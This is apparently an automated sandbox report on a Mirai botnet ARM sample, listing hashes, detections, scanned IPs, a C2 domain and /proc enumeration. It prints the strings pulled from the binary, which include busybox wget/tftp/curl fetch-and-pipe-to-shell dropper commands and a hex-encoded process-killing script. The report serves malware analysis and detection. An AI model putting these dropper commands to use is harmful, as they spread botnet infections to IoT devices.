Linux Analysis Report
dFEcw9JTaO.elf

Overview

General Information

Sample name: dFEcw9JTaO.elf
renamed because original name is a hash value
Original sample name: accede5082ffef78d3c1966a42077705.elf
Analysis ID: 1432448
MD5: accede5082ffef78d3c1966a42077705
SHA1: 471cf103f85380d78cedc33a4066ab1ac46b6f3f
SHA256: 087eff77dfb27b45aed5a6417861c5ce8afe17c04f976c5f7dec7997ec7ea47d
Tags: 32armelfmirai
Infos:

Detection

Mirai
Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: dFEcw9JTaO.elf ReversingLabs: Detection: 57%
Source: dFEcw9JTaO.elf Virustotal: Detection: 60% Perma Link
Source: dFEcw9JTaO.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: global traffic TCP traffic: 5.181.80.59 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 192.168.2.13:38504 -> 5.181.80.59:38241
Source: /tmp/dFEcw9JTaO.elf (PID: 5440) Socket: 127.0.0.1::39148 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 22.247.91.170
Source: unknown TCP traffic detected without corresponding DNS query: 90.208.4.175
Source: unknown TCP traffic detected without corresponding DNS query: 176.45.82.172
Source: unknown TCP traffic detected without corresponding DNS query: 138.155.223.129
Source: unknown TCP traffic detected without corresponding DNS query: 187.132.17.190
Source: unknown TCP traffic detected without corresponding DNS query: 191.136.203.244
Source: unknown TCP traffic detected without corresponding DNS query: 42.174.128.237
Source: unknown TCP traffic detected without corresponding DNS query: 106.133.104.119
Source: unknown TCP traffic detected without corresponding DNS query: 195.174.160.29
Source: unknown TCP traffic detected without corresponding DNS query: 191.218.170.58
Source: unknown TCP traffic detected without corresponding DNS query: 193.177.213.64
Source: unknown TCP traffic detected without corresponding DNS query: 6.209.139.206
Source: unknown TCP traffic detected without corresponding DNS query: 203.119.117.40
Source: unknown TCP traffic detected without corresponding DNS query: 179.189.166.132
Source: unknown TCP traffic detected without corresponding DNS query: 67.174.24.29
Source: unknown TCP traffic detected without corresponding DNS query: 140.173.147.237
Source: unknown TCP traffic detected without corresponding DNS query: 158.45.92.109
Source: unknown TCP traffic detected without corresponding DNS query: 80.39.199.104
Source: unknown TCP traffic detected without corresponding DNS query: 79.78.51.17
Source: unknown TCP traffic detected without corresponding DNS query: 55.196.182.118
Source: unknown TCP traffic detected without corresponding DNS query: 95.233.124.7
Source: unknown TCP traffic detected without corresponding DNS query: 209.221.176.182
Source: unknown TCP traffic detected without corresponding DNS query: 220.124.184.231
Source: unknown TCP traffic detected without corresponding DNS query: 172.202.2.12
Source: unknown TCP traffic detected without corresponding DNS query: 112.130.42.233
Source: unknown TCP traffic detected without corresponding DNS query: 47.165.248.103
Source: unknown TCP traffic detected without corresponding DNS query: 68.14.193.104
Source: unknown TCP traffic detected without corresponding DNS query: 82.77.224.148
Source: unknown TCP traffic detected without corresponding DNS query: 147.137.92.110
Source: unknown TCP traffic detected without corresponding DNS query: 5.105.254.104
Source: unknown TCP traffic detected without corresponding DNS query: 19.121.194.141
Source: unknown TCP traffic detected without corresponding DNS query: 124.146.221.255
Source: unknown TCP traffic detected without corresponding DNS query: 82.178.130.168
Source: unknown TCP traffic detected without corresponding DNS query: 189.102.30.119
Source: unknown TCP traffic detected without corresponding DNS query: 90.133.245.155
Source: unknown TCP traffic detected without corresponding DNS query: 31.12.100.61
Source: unknown TCP traffic detected without corresponding DNS query: 8.85.30.223
Source: unknown TCP traffic detected without corresponding DNS query: 218.60.4.32
Source: unknown TCP traffic detected without corresponding DNS query: 94.213.61.83
Source: unknown TCP traffic detected without corresponding DNS query: 222.218.9.239
Source: unknown TCP traffic detected without corresponding DNS query: 95.155.72.36
Source: unknown TCP traffic detected without corresponding DNS query: 102.232.18.74
Source: unknown TCP traffic detected without corresponding DNS query: 164.85.140.233
Source: unknown TCP traffic detected without corresponding DNS query: 144.250.217.117
Source: unknown TCP traffic detected without corresponding DNS query: 16.138.37.98
Source: unknown TCP traffic detected without corresponding DNS query: 67.220.220.34
Source: unknown TCP traffic detected without corresponding DNS query: 119.109.56.214
Source: unknown TCP traffic detected without corresponding DNS query: 30.26.122.72
Source: unknown TCP traffic detected without corresponding DNS query: 87.21.57.122
Source: unknown TCP traffic detected without corresponding DNS query: 63.188.167.47
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: dFEcw9JTaO.elf String found in binary or memory: http:///curl.sh
Source: dFEcw9JTaO.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 48202 -> 443
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.linELF@0/163@1/0
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5470/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5470/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5470/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5470/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5481/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5481/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5481/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5481/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5471/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5471/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5471/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5471/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5472/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5472/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5472/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5472/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5451/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5451/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5473/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5473/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5473/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5473/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5463/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5463/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5474/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5474/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5474/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5474/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5464/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5464/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5475/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5475/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5475/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5475/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5465/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5465/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5476/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5476/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5476/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5476/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5520/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5520/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5466/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5466/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5477/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5477/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5477/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5477/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5532/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5532/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5480/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5480/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5480/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5480/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5467/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5467/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5478/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5478/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5478/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5478/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5468/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5468/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5479/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5479/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5479/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5479/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5469/maps Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5447) File opened: /proc/5469/cmdline Jump to behavior
Source: /tmp/dFEcw9JTaO.elf (PID: 5440) Queries kernel information via 'uname': Jump to behavior
Source: dFEcw9JTaO.elf, 5440.1.00007ffd4d792000.00007ffd4d7b3000.rw-.sdmp, dFEcw9JTaO.elf, 5445.1.00007ffd4d792000.00007ffd4d7b3000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/dFEcw9JTaO.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/dFEcw9JTaO.elf
Source: dFEcw9JTaO.elf, 5440.1.0000562caea4c000.0000562caeb7a000.rw-.sdmp, dFEcw9JTaO.elf, 5445.1.0000562caea4c000.0000562caeb7a000.rw-.sdmp Binary or memory string: ,V!/etc/qemu-binfmt/arm
Source: dFEcw9JTaO.elf, 5440.1.0000562caea4c000.0000562caeb7a000.rw-.sdmp, dFEcw9JTaO.elf, 5445.1.0000562caea4c000.0000562caeb7a000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: dFEcw9JTaO.elf, 5440.1.00007ffd4d792000.00007ffd4d7b3000.rw-.sdmp, dFEcw9JTaO.elf, 5445.1.00007ffd4d792000.00007ffd4d7b3000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

barindex
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality

barindex
Source: Yara match File source: dump.pcap, type: PCAP
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs